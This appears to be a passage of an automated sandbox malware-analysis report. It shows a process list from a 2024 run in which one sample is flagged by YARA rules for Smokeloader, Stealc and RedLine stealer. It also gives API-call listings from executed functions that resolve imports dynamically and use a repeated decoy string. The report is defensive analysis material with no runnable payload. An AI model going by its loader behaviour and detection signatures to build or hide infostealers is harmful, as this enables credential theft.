Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:
File size:	1'879'040 bytes
MD5 hash:	8DCA8723B206C803E7ACE213DF89B4F4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	20:40:09
Start date:	23/07/2024
Path:	C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000021001\1a87deddda.exe"
Imagebase:	0x400000
File size:	290'816 bytes
MD5 hash:	57A35EB5298B9BEC9CD7FFC3FB8204F7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000031.00000002.2456683952.00000000024C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000031.00000002.2458058128.0000000002526000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000031.00000002.2457916077.000000000250C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	20:40:11
Start date:	23/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 388 -p 10656 -ip 10656
Imagebase:	0x330000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	20:40:11
Start date:	23/07/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 10656 -s 1316
Imagebase:	0x330000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	20:40:15
Start date:	23/07/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7744 --field-trial-handle=2376,i,2515826515820808851,8799458441999607100,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	4.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	41

Executed Functions

Function 004195E0 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,02656600), ref: 004195FD
GetProcAddress.KERNEL32(74DD0000,02656640), ref: 00419615
GetProcAddress.KERNEL32(74DD0000,02677D68), ref: 0041962E
GetProcAddress.KERNEL32(74DD0000,02677EA0), ref: 00419646
GetProcAddress.KERNEL32(74DD0000,02677EE8), ref: 0041965E
GetProcAddress.KERNEL32(74DD0000,02677E40), ref: 00419677
GetProcAddress.KERNEL32(74DD0000,02659B08), ref: 0041968F
GetProcAddress.KERNEL32(74DD0000,02677EB8), ref: 004196A7
GetProcAddress.KERNEL32(74DD0000,02677ED0), ref: 004196C0
GetProcAddress.KERNEL32(74DD0000,02677E28), ref: 004196D8
GetProcAddress.KERNEL32(74DD0000,02677E70), ref: 004196F0
GetProcAddress.KERNEL32(74DD0000,026564E0), ref: 00419709
GetProcAddress.KERNEL32(74DD0000,026562E0), ref: 00419721
GetProcAddress.KERNEL32(74DD0000,02656300), ref: 00419739
GetProcAddress.KERNEL32(74DD0000,02656420), ref: 00419752
GetProcAddress.KERNEL32(74DD0000,02677E88), ref: 0041976A
GetProcAddress.KERNEL32(74DD0000,02677E58), ref: 00419782
GetProcAddress.KERNEL32(74DD0000,02659900), ref: 0041979B
GetProcAddress.KERNEL32(74DD0000,02656500), ref: 004197B3
GetProcAddress.KERNEL32(74DD0000,026791B0), ref: 004197CB
GetProcAddress.KERNEL32(74DD0000,02678FD0), ref: 004197E4
GetProcAddress.KERNEL32(74DD0000,02679168), ref: 004197FC
GetProcAddress.KERNEL32(74DD0000,02679090), ref: 00419814
GetProcAddress.KERNEL32(74DD0000,026563A0), ref: 0041982D
GetProcAddress.KERNEL32(74DD0000,02679138), ref: 00419845
GetProcAddress.KERNEL32(74DD0000,02679210), ref: 0041985D
GetProcAddress.KERNEL32(74DD0000,02679258), ref: 00419876
GetProcAddress.KERNEL32(74DD0000,02679180), ref: 0041988E
GetProcAddress.KERNEL32(74DD0000,02678F70), ref: 004198A6
GetProcAddress.KERNEL32(74DD0000,02679150), ref: 004198BF
GetProcAddress.KERNEL32(74DD0000,026790D8), ref: 004198D7
GetProcAddress.KERNEL32(74DD0000,02679108), ref: 004198EF
GetProcAddress.KERNEL32(74DD0000,02678FA0), ref: 00419908
GetProcAddress.KERNEL32(74DD0000,026596B0), ref: 00419920
GetProcAddress.KERNEL32(74DD0000,026790C0), ref: 00419938
GetProcAddress.KERNEL32(74DD0000,02679060), ref: 00419951
GetProcAddress.KERNEL32(74DD0000,02656440), ref: 00419969
GetProcAddress.KERNEL32(74DD0000,02679120), ref: 00419981
GetProcAddress.KERNEL32(74DD0000,026563C0), ref: 0041999A
GetProcAddress.KERNEL32(74DD0000,02679198), ref: 004199B2
GetProcAddress.KERNEL32(74DD0000,026790F0), ref: 004199CA
GetProcAddress.KERNEL32(74DD0000,026560E0), ref: 004199E3
GetProcAddress.KERNEL32(74DD0000,02656200), ref: 004199FB
LoadLibraryA.KERNEL32(02679030,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A0D
LoadLibraryA.KERNEL32(026791E0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A1E
LoadLibraryA.KERNEL32(026791C8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A30
LoadLibraryA.KERNEL32(026790A8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A42
LoadLibraryA.KERNEL32(026791F8,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A53
LoadLibraryA.KERNEL32(02679228,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(02679240,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(02678F88,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(75290000,02656260), ref: 00419AAA
GetProcAddress.KERNEL32(75290000,02678FB8), ref: 00419AC2
GetProcAddress.KERNEL32(75290000,0265CC48), ref: 00419ADA
GetProcAddress.KERNEL32(75290000,02678FE8), ref: 00419AF3
GetProcAddress.KERNEL32(75290000,02656040), ref: 00419B0B
GetProcAddress.KERNEL32(73B40000,02659A68), ref: 00419B30
GetProcAddress.KERNEL32(73B40000,02655EE0), ref: 00419B49
GetProcAddress.KERNEL32(73B40000,02659A90), ref: 00419B61
GetProcAddress.KERNEL32(73B40000,02679000), ref: 00419B79
GetProcAddress.KERNEL32(73B40000,02679018), ref: 00419B92
GetProcAddress.KERNEL32(73B40000,02656060), ref: 00419BAA
GetProcAddress.KERNEL32(73B40000,02656140), ref: 00419BC2
GetProcAddress.KERNEL32(73B40000,02679048), ref: 00419BDB
GetProcAddress.KERNEL32(752C0000,02655EA0), ref: 00419BFC
GetProcAddress.KERNEL32(752C0000,026560A0), ref: 00419C14
GetProcAddress.KERNEL32(752C0000,02679078), ref: 00419C2D
GetProcAddress.KERNEL32(752C0000,02679300), ref: 00419C45
GetProcAddress.KERNEL32(752C0000,02656240), ref: 00419C5D
GetProcAddress.KERNEL32(74EC0000,02659D10), ref: 00419C83
GetProcAddress.KERNEL32(74EC0000,02659D60), ref: 00419C9B
GetProcAddress.KERNEL32(74EC0000,026792E8), ref: 00419CB3
GetProcAddress.KERNEL32(74EC0000,02655F60), ref: 00419CCC
GetProcAddress.KERNEL32(74EC0000,026560C0), ref: 00419CE4
GetProcAddress.KERNEL32(74EC0000,02659B30), ref: 00419CFC
GetProcAddress.KERNEL32(75BD0000,02679318), ref: 00419D22
GetProcAddress.KERNEL32(75BD0000,026561C0), ref: 00419D3A
GetProcAddress.KERNEL32(75BD0000,0265CC28), ref: 00419D52
GetProcAddress.KERNEL32(75BD0000,026792A0), ref: 00419D6B
GetProcAddress.KERNEL32(75BD0000,02679270), ref: 00419D83
GetProcAddress.KERNEL32(75BD0000,026561E0), ref: 00419D9B
GetProcAddress.KERNEL32(75BD0000,026561A0), ref: 00419DB4
GetProcAddress.KERNEL32(75BD0000,02679288), ref: 00419DCC
GetProcAddress.KERNEL32(75BD0000,02679330), ref: 00419DE4
GetProcAddress.KERNEL32(75A70000,02655F00), ref: 00419E06
GetProcAddress.KERNEL32(75A70000,026792B8), ref: 00419E1E
GetProcAddress.KERNEL32(75A70000,026792D0), ref: 00419E36
GetProcAddress.KERNEL32(75A70000,02679738), ref: 00419E4F
GetProcAddress.KERNEL32(75A70000,02679798), ref: 00419E67
GetProcAddress.KERNEL32(75450000,02655FA0), ref: 00419E88
GetProcAddress.KERNEL32(75450000,02655F20), ref: 00419EA1
GetProcAddress.KERNEL32(75DA0000,02656280), ref: 00419EC2
GetProcAddress.KERNEL32(75DA0000,02679918), ref: 00419EDA
GetProcAddress.KERNEL32(6F090000,02655F40), ref: 00419F00
GetProcAddress.KERNEL32(6F090000,02656100), ref: 00419F18
GetProcAddress.KERNEL32(6F090000,02655F80), ref: 00419F30
GetProcAddress.KERNEL32(6F090000,02679930), ref: 00419F49
GetProcAddress.KERNEL32(6F090000,02655FC0), ref: 00419F61
GetProcAddress.KERNEL32(6F090000,02655FE0), ref: 00419F79
GetProcAddress.KERNEL32(6F090000,02656080), ref: 00419F92
GetProcAddress.KERNEL32(6F090000,02656000), ref: 00419FAA
GetProcAddress.KERNEL32(6F090000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F090000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75AF0000,02679678), ref: 00419FF9
GetProcAddress.KERNEL32(75AF0000,0265CC18), ref: 0041A011
GetProcAddress.KERNEL32(75AF0000,02679888), ref: 0041A029
GetProcAddress.KERNEL32(75AF0000,026798B8), ref: 0041A042
GetProcAddress.KERNEL32(75D90000,02656020), ref: 0041A063
GetProcAddress.KERNEL32(6E3A0000,02679750), ref: 0041A084
GetProcAddress.KERNEL32(6E3A0000,02656120), ref: 0041A09D
GetProcAddress.KERNEL32(6E3A0000,026798D0), ref: 0041A0B5
GetProcAddress.KERNEL32(6E3A0000,02679708), ref: 0041A0CD

Strings

HttpQueryInfoA, xrefs: 00419FCC
InternetSetOptionA, xrefs: 00419FB5

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e597e8fc72bf404d1b85c08bbf82363fdc41d925fce3c21812b4f2230c6aabb6
